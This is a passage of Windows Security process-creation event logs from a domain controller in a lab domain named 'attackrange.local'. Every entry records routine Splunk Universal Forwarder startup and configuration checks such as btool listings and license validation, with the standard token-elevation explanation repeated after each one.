	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal pre-flight-checks --answer-yes --no-prompt 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254031
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf40
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254030
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x138c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13ec
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254029
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe40
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254028
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe40
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xc04
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254027
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1344
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254026
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1344
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x9c8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254025
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9c8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xc04
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254024
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xca0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254038
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1118
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254037
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1118
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1008
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254036
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2e4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254035
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1008
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254034
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfa8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1008
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254044
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x540
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x3f4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254043
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x4b0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254042
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1008
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254041
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf7c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1008
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254040
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10bc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254039
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1008
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254053
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
